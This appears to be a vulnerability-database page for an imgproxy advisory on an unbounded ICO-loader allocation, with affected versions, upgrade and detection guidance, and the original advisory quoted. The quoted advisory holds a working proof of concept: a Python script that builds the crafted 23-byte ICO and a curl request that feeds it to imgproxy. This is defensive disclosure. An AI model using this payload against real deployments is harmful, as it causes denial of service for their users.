NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Go

GHSA-mmq5-xm89-9pfg: imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field

highCVSS 3.1 7.5

imgproxy's ICO loader (vips/icoload.c) passes the attacker-controlled data_size field of an ICO entry straight to VIPS_MALLOC. A 23-byte ICO can make a worker try to allocate about 4 GB. Upgrade github.com/imgproxy/imgproxy/v3 to 4.0.16.

Published Oct 30, 2026 · Analysis Oct 31, 2026

What an attacker can do

In vips_foreign_load_ico_header, the selected directory entry's 32-bit data_size becomes the allocation size, plus a 14-byte BMP file header length. Nothing checks that the value is reasonable, or that the file contains that many bytes at the declared data_offset. The advisory's PoC sets data_size to 0xfa000068, which asks for roughly 4 GB.

What happens depends on the host. On a memory-constrained pod the worker is killed by the out-of-memory killer, one crash per request. On a larger host the allocation succeeds for a moment, decoding fails, and the request returns HTTP 500. The worker survives, but each request burns about 4 GB for a short time, so sustained requests can exhaust memory or the allocation budget.

The attacker needs no authentication, only a way to make imgproxy process an image they control: a source URL they host, or an upload path in front of imgproxy. The result is denial of service for every request that shares the worker or host. There is no data exposure or code execution.

Who is affected

Go module github.com/imgproxy/imgproxy/v3, versions >= 3.3.0 and <= 4.0.15. The advisory confirms the problem on v4.0.15 in production. Check the version of a running deployment:

imgproxy version
go list -m github.com/imgproxy/imgproxy/v3

For Docker, check the image tag.

github.com/imgproxy/imgproxy/v3

Ecosystem
Go
Affected
>= 3.3.0, <= 4.0.15
Fixed in
4.0.16
Check
go list -m github.com/imgproxy/imgproxy/v3

How to fix it

Upgrade to imgproxy 4.0.16 (commit a821b6a4cb07a1bf2bb9077431d1c1e734d79917). A second ICO flaw, an out-of-bounds write, needs 4.0.17, so go to 4.0.17 or newer if you can.

go get github.com/imgproxy/imgproxy/[email protected]

The advisory names no workaround. Until you upgrade, set container memory limits and restart policies so a killed worker recovers.

How to tell if you were hit

Look for out-of-memory kills of imgproxy containers or processes (OOMKilled in Kubernetes, Out of memory: Killed process in dmesg), sudden memory spikes of several gigabytes, and HTTP 500 responses for requests that fetch .ico sources. The PoC is a 23-byte file with SHA-256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b, so very small ICO fetches are suspect.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

Unbounded and unvalidated memory allocation in imgproxy's ICO loader (vips/icoload.c). An attacker-controlled data_size field (u32) from the ICO directory entry is passed directly to VIPS_MALLOC without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.

Details

In vips_foreign_load_ico_header in vips/icoload.c, the selected directory entry's data_size is read and used directly for the allocation:

uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);

// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.
VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);

There is no validation that data_size is sane nor any check that the file actually contains data_size bytes at the declared data_offset. A crafted 23-byte ICO whose directory entry declares data_size = 0xfa000068 (~4GB) drives VIPS_MALLOC(NULL, ~4GB + 14).

PoC

# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.
# Byte-identical to the checksummed, production-verified file:
#   ico-4gb.ico  sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b
import struct, hashlib

hdr = struct.pack('<HHH', 0, 1, 1)  # reserved, type=ICO, count=1
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)
data = b'\x00'
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
    '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'
open('ico-4gb.ico', 'wb').write(blob)
print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]")
# imgproxy v4.0.15 with local file sources enabled:
#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png"
# → outcome depends on host memory: on a memory-constrained pod the worker
#   OOM-dies; on a larger host the ~4GB allocation succeeds transiently and
#   decode fails -> HTTP 500 (worker survives, but each request burns ~4GB
#   transiently — repeatable memory exhaustion).

Impact

Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.

Credited to haileyok.

Questions

What does the crafted ICO file look like?

A 23-byte file with one directory entry that declares data_size 0xfa000068, about 4 GB, followed by a single byte of data. It is the advisory's PoC.

Which imgproxy version fixes the unbounded allocation?

4.0.16. Versions from 3.3.0 up to 4.0.15 are affected. Because of another ICO flaw fixed in 4.0.17, upgrade to that or later.

Does the request need authentication?

No. The CVSS vector sets PR:N. Any deployment that processes attacker-supplied images is exposed.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Go vulnerabilities

All Go entries